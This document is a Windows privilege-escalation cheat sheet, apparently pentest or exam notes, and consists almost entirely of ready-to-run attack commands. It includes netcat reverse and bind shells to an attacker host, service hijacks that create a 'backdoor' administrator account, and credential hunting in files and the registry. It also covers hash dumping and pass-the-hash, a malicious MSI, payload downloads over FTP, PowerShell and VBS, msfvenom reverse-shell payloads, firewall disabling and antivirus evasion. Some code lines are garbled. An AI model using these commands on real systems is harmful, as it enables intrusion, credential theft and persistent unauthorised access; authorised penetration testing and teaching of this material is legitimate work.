Windows elevation of privileges ToC

From RCE to shell

Getting a shell in limited interpreters:

```
$ system("start cmd.exe /k $cmd")
```

Bind cmd to a port:

```
$ nc.exe -Lp 31337 -vv -e cmd.exe
```

Reverse shell:

```
$ nc.exe attacker_ip attacker_port -e cmd.exe
```

EoP 0: System info

Finding installed software, running processes, bind ports, and OS version might be critical to identify the right EoP vector.

Find installed patches, architecture, OS version

```
$ systeminfo
```

Get exact OS version

```
$ type C:/Windows/system32/eula.txt
```

Hostname.

```
$ hostname
```

Find current user.

```
$ echo %username%
```

```
> getuid
```

List all users

```
$ net users
```

Information about a user

```
$ net users Administrator
```

Network information

```
$ ipconfig /all & route print & arp -a
```

Environment

```
$ set
```

List open connections

```
$ netstat -aton
```

Firewall information

```
$ netsh firewall show state
$ netsh firewall show config
```

List scheduled tasks

```
$ schtasks /query /fo LIST /v
```

List windows services

```
$ net start
```

```
$ wmic service list brief
```

```
$ tasklist /SVC
```

EoP 1: Incorrect permissions in services

A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

We are interested in services where permissions are: `BUILTIN\Users` with `(F)` or `(C)` or `(M)` for our group. More info about permissions:

```
https://msdn.microsoft.com/en-us/library/bb727008.aspx
```

Common exploitation payloads involve: Replacing the affecting binary with a reverse shell or a command that creates a new user and adds it to the Administrator group. Replace the affected service with your payload and and restart the service running:

```
$ wmic service NAMEOFSERVICE call startservice
net stop [service name] && net start [service name]
```

```
$ sc start/stop serviceName
```

The following commands will print the affected services:

```
$ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "syste
m32"') do @echo %a >> c:\windows\temp\permissions.txt
$ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"
```

If wmic is not available we can use sc.exe:

```
$ sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt
FOR /F %i in (Servicenames.txt) DO echo %i
type Servicenames.txt
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
```

You can also manually check each service using cacls:

```
$ cacls "C:\path\to\file.exe"
```

If you don't have access to vmic, you can do:

```
$ sc qc upnphost
```

Windows XP SP1 is known to be vulnerable to EoP in `upnphost`. You get Administrator with:

```
$ sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe YOUR_IP 1234 -e C:\WINDOWS\System32\cmd.ex
e"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
```

If it fails because of a missing dependency, run the following:

```
$ sc config SSDPSRV start= auto
net start SSDPSRV
net start upnphost
```

Or remove the dependency:

```
$ sc config upnphost depend= ""
```

Using meterpreter:

```
> exploit/windows/local/service_permissions
```

If wmic and sc is not available, you can use accesschk. For Windows XP, version 5.2 of accesschk is needed:

```
https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
```

```
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
$ accesschk.exe -qdws "Authenticated Users" C:\Windows\ /accepteula
$ accesschk.exe -qdws Users C:\Windows\
```

Then query the service using Windows sc:

```
$ sc qc <vulnerable service name>
```

Then change the binpath to execute your own commands (restart of the service will most likely be needed):

```
$ sc config <vuln-service> binpath= "net user backdoor backdoor123 /add"
$ sc stop <vuln-service>
$ sc start <vuln$ -service>
$ sc config <vuln-service> binpath= "net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```

Note - Might need to use the depend attribute explicitly:

```
$ sc stop <vuln-service>
sc config <vuln-service> binPath= "c:\inetpub\wwwroot\runmsf.exe" depend= "" start= demand obj= ".\L
ocalSystem" password= ""
sc start <vuln-service>
```

EoP 2: Find unquoted paths

If we find a service running as SYSTEM/Administrator with an unquoted path and spaces in the path we can hijack the path and use it to elevate privileges. This occurs because windows will try, for every whitespace, to find the binary in every intermediate folder.

For example, the following path would be vulnerable:

```
C:\Program Files\something\winamp.exe
```

We could place our payload with any of the following paths:

```
C:\Program.exe
```

```
C:\Program Files.exe
```

The following command will display affected services:

```
$ wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows
\\" |findstr /i /v """
```

We might even be able to override the service executable, always check out the permissions of the service binary:

```
$ icacls "C:\Program Files (x86)\Program Folder"
```

You can autoamte with meterpreter:

```
> exploit/windows/local/trusted_service_path
```

EoP 3: ClearText passwords (quick hits)

We might somtetimes find passwords in arbitrary files, you can find them running:

```
$ findstr /si password *.txt
findstr /si password *.xml
findstr /si password *.ini
```

Find all those strings in config files.

```
$ dir /s *pass* == *cred* == *vnc* == *.config*
```

Find all passwords in all files.

```
$ findstr /spin "password" *.*
```

```
$ findstr /spin "password" *.*
```

These are common files to find them in. They might be base64-encoded. So look out for that.

```
$ type c:\sysprep.inf
type c:\sysprep\sysprep.xml
type c:\unattend.xml
type %WINDIR%\Panther\Unattend\Unattended.xml
type %WINDIR%\Panther\Unattended.xml
```

```
$ dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
dir c:\ /s /b | findstr /si *vnc.ini
```

Stuff in the registry:

```
$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password
```

Search for password in registry

```
$ reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

Using meterpreter:

```
> post/windows/gather/credentials/gpp
> post/windows/gather/enum_unattend
```

EoP 4: Pass the hash

Pass The Hash allows an attacker to authenticate to a remote target by using a valid combination of username and NTLM/LM hash rather than a cleartext password.

Windows hash format:

```
user:group:id:ntlmpassword::
```

You can do a hash dump in the affected system running:

```
wce32.exe -w
wce64.exe -w
fgdump.exe
```

Download and run fgdump.exe on the target machine.

```
 $ cd /usr/share/windows-binaries/fgdump; python -m SimpleHTTPServer 80
```

```
$ pth-winexe -U DOMAIN/user%hash //$ip cmd
```

or:

```
export SMBHASH=xxx
$ pth-winexe -U user%  //$ip cmd
```

You can also do run as, with the hash:

Technique 1:

```
C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -n
c <attacker-ip> 4444 -e cmd.exe"
```

Technique 2:

```
$ secpasswd = ConvertTo-SecureString "<password>" -AsPlainText -Force
$ mycreds = New-Object System.Management.Automation.PSCredential ("<user>", $secpasswd)
$ computer = "<hostname>"
[System.Diagnostics.Process]::Start("C:\users\public\nc.exe","<attacker_ip> 4444 -e cmd.exe", $mycre
ds.Username, $mycreds.Password, $computer)
```

```
$ powershell -ExecutionPolicy Bypass -File c:\users\public\r.ps1
```

Technique 3:

```
$ psexec64 \\COMPUTERNAME -u Test -p test -h "c:\users\public\nc.exe -nc <attacker_ip> 4444 -e cmd.e
xe"
```

EoP 5: Services only available from loopback

You can find services bind to the loopback interface that are not reachable through the network running.look for `LISTENING/LISTEN`:

```
netstat -ano
```

Port forward using plink

```
$ plink.exe -l root -pw mysecretpassword 192.168.0.101 -R 8080:127.0.0.1:8080
```

Port forward using meterpreter

```
$ portfwd add -l <attacker port> -p <victim port> -r <victim ip>
portfwd add -l 3306 -p 3306 -r 192.168.1.101
```

If powershell is blocked, you can download:

```
https://github.com/Ben0xA/nps
```

Once you know the updates installed, you can find known exploits using windows-exploit-suggester.

```
$ ./windows-exploit-suggester.py -d 2017-02-09-mssb.xls -p ms16-075
[*] initiating winsploit version 3.2…
[*] database file detected as xls or xlsx based on extension
[*] searching all kb’s for bulletin id MS16-075
[+] relevant kbs [‘3164038’, ‘3163018’, ‘3163017’, ‘3161561’]
[*] done
```

Compile windows exploit in linux:

```
$ i686-w64-mingw32-gcc 18176.c -lws2_32 -o 18176.exe
```

Compiling python scripts to executables:

```
$ wine ~/.wine/drive_c/Python27/Scripts/pyinstaller.exe --onefile 18176.py
```

EoP 6: AlwaysInstallElevated

`AlwaysInstallElevated` is a setting that allows non-privileged users the ability to run Microsoft Windows Installer Package Files (MSI) with elevated (SYSTEM) permissions.

Check if these 2 registry values are set to "1":

```
$ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

If they are, create your own malicious msi:

```
$ msfvenom -p windows/adduser USER=backdoor PASS=backdoor123 -f msi -o evil.msi
```

Then use msiexec on victim to execute your msi:

```
$ msiexec /quiet /qn /i C:\evil.msi
```

Metasploit module:

```
> use exploit/windows/local/always_install_elevated
```

EoP 7: Vulnerable drivers

Third party drivers might contain vulnerabilities, find them running:

```
$ DRIVERQUERY
```

EoP 8: Kernel vulnerabilities

Run exploit suggester against systeminfo:

```
https://github.com/GDSSecurity/Windows-Exploit-Suggester/blob/master/windows-exploit-suggester.py
```

```
$ python windows-exploit-suggester.py -d 2017-05-27-mssb.xls -i systeminfo.txt
```

Find installed paths:

```
$ wmic qfe get Caption,Description,HotFixID,InstalledOn
```

Comprehensive talbes of vulnerabilities below:

eDB	Vuln Name	MS#	2K	XP	2003	2008	Vista	7
271	Lsasrv.dll	MS04-011	SP2,3,4	SP0,1	-	-	-	-
350	Util Manager	MS04-019	SP2,3,4	-	-	-	-	-
351	POSIX	MS04-020	SP4	-	-	-	-	-
352	Univ lang. Util	MS04-019	-	SP2,3,4	-	-	-	-
355	Univ lang. Util	MS04-019	-	SP2,3,4	-	-	-	-
1149	PnP Service	MS05-039	P4	SP2	SP1	-	-	-
1197	keybd_event	-	all	all	all	-	-	-
1198	CSRSS	MS05-018	SP3,4	SP1,2	-	-	-	-
1407	Kernel APC	MS05-055	SP4	-	-	-	-	-
1911	Mrxsmb.sys	MS06-030	all	SP2	-	-	-	-
2412	Windows Kernel	MS06-049	SP4	-	-	-	-	-
3220	Print spool	-	-	All	-	-	-	-
5518	win32k.sys	MS08-025	SP4	SP2	SP1,2	SP0	SP0,1	-
6705	Churrasco	MS09-012	-	-	All	-	-	-
6705	Churraskito	-	-	All	All	-	-	-
21923	Winlogon	-	All	All	-	-	-	-
11199	KiTrap0D	MS10-015	All	All	All	All	All	All
14610	Chimichurri	MS10-059	-	-	-	All	All	SP0
15589	Task Scheduler	MS10-092	-	-	-	SP0,1,2	SP1,2	SP0
18176	AFD.Sys	MS11-080	-	SP3	SP3	-	-	-
100	RPC DCOM	MS03-026	SP3,4	-	-	-	-	-
103	RPC2	MS03-039	all (CN)	-	-	-	-	-
109	RPC2	MS03-039	all	-	-	-	-	-
119	Netapi	MS03-049	SP4	-	-	-	-	-
3022	ASN.1	MS04-007	SP2,3,4	SP0,1	-	-	-	-
275	SSL BOF	MS04-011	SP4	?	-	-	-	-
295	Lsasarv.dll	MS04-011	SP2,3,4	SP0,1	-	-	-	-
734	NetDDE BOF	MS04-031	SP2,3,4	SP0,1	-	-	-	-
1075	Messaging Queue	MS05-017	SP3,4	SP0,1	-	-	-	-
1149	PnP Service	MS05-039	SP4	-	-	-	-	-
2223	CP	MS06-040	-	SP1	-	-	-	-
2265	NetIPSRemote	MS06-040	SP0-4	SP0,1	-	-	-	-
2789	NetPManageIP	MS06-070	SP4	-	-	-	-	-
7104	Service exec	MS08-067	SP4	SP2,3	SP1,2	SP0	SP0,1	-
7132	Service exec	MS08-067	SP4	-	SP2	-	-	-
14674	SRV2.SYS SMB	MS09-050	-	-	-	-	SP1,2	-

MS*	HotFix	OS
MS16-032	KB3143141	Windows Server 2008 ,7,8,10 Windows Server 2012
MS16-016	KB3136041	Windows Server 2008, Vista, 7 WebDAV
MS15-051	KB3057191	Windows Server 2003, Windows Server 2008, Windows 7, Windows 8, Windows 2012
MS14-058	KB3000061	Windows Server 2003, Windows Server 2008, Windows Server 2012, 7, 8 Win32k.sys
MS14-040	KB2975684	Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS14-002	KB2914368	Windows XP, Windows Server 2003
MS13-005	KB2778930	Windows Server 2003, Windows Server 2008, 7, 8,
MS10-092	KB2305420	Windows Server 2008, 7
MS10-015	KB977165	Windows Server 2003, Windows Server 2008, 7, XP
MS14-002	KB2914368	Windows Server 2003, XP
MS15-061	KB3057839	Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS11-080	KB2592799	Windows Server 2003, XP
MS11-062	KB2566454	Windows Server 2003, XP
MS15-076	KB3067505	Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS16-075	KB3164038	Windows Server 2003, Windows Server 2008, 7, 8, Windows Server 2012
MS15-010	KB3036220	Windows Server 2003, Windows Server 2008, 7, XP
MS11-046	KB2503665	Windows Server 2003, Windows Server 2008, 7, XP

```
MS11-011 (KB2393802)
MS10-059 (KB982799)
MS10-021 (KB979683)
MS11-080 (KB2592799)
```

Exploits worth looking at: MS11-046

```
https://github.com/SecWiki/windows-kernel-exploits
```

Windows version map

```
Operating System     Version Number

Windows 1.0                    1.04
Windows 2.0                    2.11
Windows 3.0                    3
Windows NT 3.1                 3.10.528
Windows for Workgroups 3.11     3.11
Windows NT Workstation 3.5     3.5.807
Windows NT Workstation 3.51    3.51.1057
Windows 95                     4.0.950
Windows NT Workstation 4.0     4.0.1381
Windows 98                     4.1.1998
Windows 98 Second Edition      4.1.2222
Windows Me                     4.90.3000
Windows 2000 Professional      5.0.2195
Windows XP                     5.1.2600
Windows Vista                  6.0.6000
Windows 7                      6.1.7600
Windows 8.1                    6.3.9600
Windows 10                     10.0.10240
```

EoP 9: Automated tools

Powersploit

```
https://github.com/PowerShellMafia/PowerSploit
Get-GPPPassword
Get-UnattendedInstallFile
Get-Webconfig
Get-ApplicationHost
Get-SiteListPassword
Get-CachedGPPPassword
Get-RegistryAutoLogon
```

Metasploit

```
post/windows/gather/credentials/gpp
post/windows/gather/enum_unattend
```

```
getsystem
getprivs
use priv
hashdump
```

Metasploit incognito

```
use incognito
list_tokens -u
list_tokens -g
impersonate_token DOMAIN_NAME\\USERNAME
steal_token PID
drop_token
rev2self
```

Useful commands

Add a new user

```
$ net user test 1234 /add
$ net localgroup administrators test /add
```

Print files contents:

```
$ type file
```

Remove file

```
$ del /f file
```

Change password for user:

```
$ net user <user> <password>
```

List users:

```
$ net user
```

Info about a user:

```
$ net user <username>
```

Permissions on a folder recursively:

```
$ cacls *.* /t /e /g domainname\administrator:f
```

tasklist or wmic process or tasklist /svc

Enable RDP access

```
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWOR
D /d 0
netsh firewall set service remoteadmin enable
netsh firewall set service remotedesktop enable
```

Disable firewall

```
$ netsh firewall set opmode disable
```

Run exploit

```
C:\tmp>powershell -ExecutionPolicy ByPass -command "& { . C:\tmp\Invoke-MS16-032.ps1; Invoke-MS16-03
2 }"
```

Transferring files

Paste the following code to get nc in the victim:

```
echo open <attacker_ip> 21> ftp.txt
echo USER offsec>> ftp.txt
echo ftp>> ftp.txt
echo bin >> ftp.txt
echo GET nc.exe >> ftp.txt
echo bye >> ftp.txt
ftp -v -n -s:ftp.txt
nc.exe <attacker_ip> 1234 -e cmd.exe
```

Bounce port sanning

```
$ nc $ip 21
220 Femitter FTP Server ready.
USER anonymous
331 Password required for anonymous.
PASS foo
230 User anonymous logged in.
PORT 127,0,0,1,0,80
```

```
200 Port command successful.
LIST
```

Nice trick to share folders with RDP:

```
$ rdesktop (ip) -r disk:share=/home/bayo/store
```

With powershell:

```
$ powershell -c "(new-object System.Net.WebClient).DownloadFile('http://YOURIP:8000/b.exe','C:\Users
\YOURUSER\Desktop\b.exe')"
```

Paste the following block in a command line to get a web client:

```
echo strUrl = WScript.Arguments.Item(0) > wget.vbs
echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
echo Dim http,varByteArray,strData,strBuffer,lngCounter,fs,ts >> wget.vbs
echo Err.Clear >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
echo http.Open "GET",strURL,False >> wget.vbs
echo http.Send >> wget.vbs
echo varByteArray = http.ResponseBody >> wget.vbs
echo Set http = Nothing >> wget.vbs
echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
echo Set ts = fs.CreateTextFile(StrFile,True) >> wget.vbs
echo strData = "" >> wget.vbs
echo strBuffer = "" >> wget.vbs
echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1,1))) >> wget.vbs
echo Next >> wget.vbs
echo ts.Close >> wget.vbs
```

Run with:

```
$ cscript wget.vbs http://<attacker_ip>/nc.exe nc.exe
```

Metasploit

Module to elevate privileges to SYSTEM by creating a service or hijacking existing ones with incorrect permissions

```
$ exploit/windows/local/service_permissions
```

Other scripts

```
https://github.com/GDSSecurity/Windows-Exploit-Suggester
https://github.com/Jean13/Penetration_Testing/blob/master/Privilege_Escalation/windows-privesc-check
2.exe
```

Generate php reverse shell:

```
msfvenom -p php/reverse_php LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.p
hp
msfvenom -p php/meterpreter/reverse_tcp LHOST=<attacker_ip> -o meterpreter.php
msfvenom -p generic/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f php -o shell.php
```

Others

```
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On
> -f asp > shell.asp
```

Generate shellcode to use within a perl exploit:

```
msfvenom -p linux/x86/shell/reverse_tcp LHOST=<attacker_ip> LPORT=443 -f perl -b \x00\x0A\x0D\xFF
```

Raw paylaod:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f raw -o test.bin
```

Js payload:

```
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<attacker_ip> LPORT=443 -f js_le
```

Handling reverse shell using meterpreter:

```
msf > use exploit/multi/handler
msf > set lport 1234
msf > set lhost <attacker_ip>
msf > set payload windows/shell/reverse_tcp
msf > run
```

Other payloads:

```
set PAYLOAD windows/meterpreter/reverse_tcp
set PAYLOAD generic/shell_reverse_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp
```

Privilege escalation

```
getsystem
hashdump
```

Useful exploits

Windows Server 2003 and IIS 6.0 privledge escalation using impersonation:

```
https://www.exploit-db.com/exploits/6705/
```

```
https://github.com/Re4son/Churrasco
```

```
$ c:\Inetpub>churrasco
 churrasco
 /churrasco/-->Usage: Churrasco.exe [-d] "command to run"

 c:\Inetpub>churrasco -d "net user /add <username> <password>"
 c:\Inetpub>churrasco -d "net localgroup administrators <username> /add"
```

Windows MS11-080

http://www.exploit-db.com/exploits/18176/

```
$ python pyinstaller.py --onefile ms11-080.py
```

```
$ mx11-080.exe -O XP
```

From admin to system

```
psexec.exe -i -s %SystemRoot%\system32\cmd.exe
```

AV bypass

Generating a mutated binary to bypass antiviruses

```
$ wine hyperion.exe ../backdoor.exe ../backdoor_mutation.exe
```

Print proof

```
$ echo. & echo. & echo whoami: & whoami 2> nul & echo %username% 2> nul & echo. & echo Hostnam
e: & hostname & echo. & ipconfig /all & echo. & echo proof.txt: &  type "C:\Documents and Settings\A
dministrator\Desktop\proof.txt"
```

Access Check

You will probably need to accept the eula first:

```
$ accesschk.exe /accepteula
```

Windows hashes

NTLM and LM passwords are located in the SAM file in `C:\\Windows\SYSTEM32\CONFIG`

LAN Manager (LM): Windows XP and prior use LAN manager protocol. Uses DES but the key space is small (only uppercase, not salted, 14 chars or padded to 14).

NTLM/NTLM2: It does not split the password, also stored in uppercase

Kerberos: Default protocol for active directory envs.

PoCs

Add user to administrator group

```
#include <stdlib.h>
int main ()
{
    int i;
    i = system("net localgroup administrators theusername /add");
    return 0;
}
```

```
i686-w64-mingw32-gcc windows-exp.c -lws2_32 -o exp.exe
```

Run an arbitrary command:

```
echo -e '#include <stdio.h>\n#include <smain () {\nsystem("C:\\Users\\Administrator\\Desktop\\nc -lv
p 4313 -e cmd.exe");\nreturn(0);\n}'> poc.c
```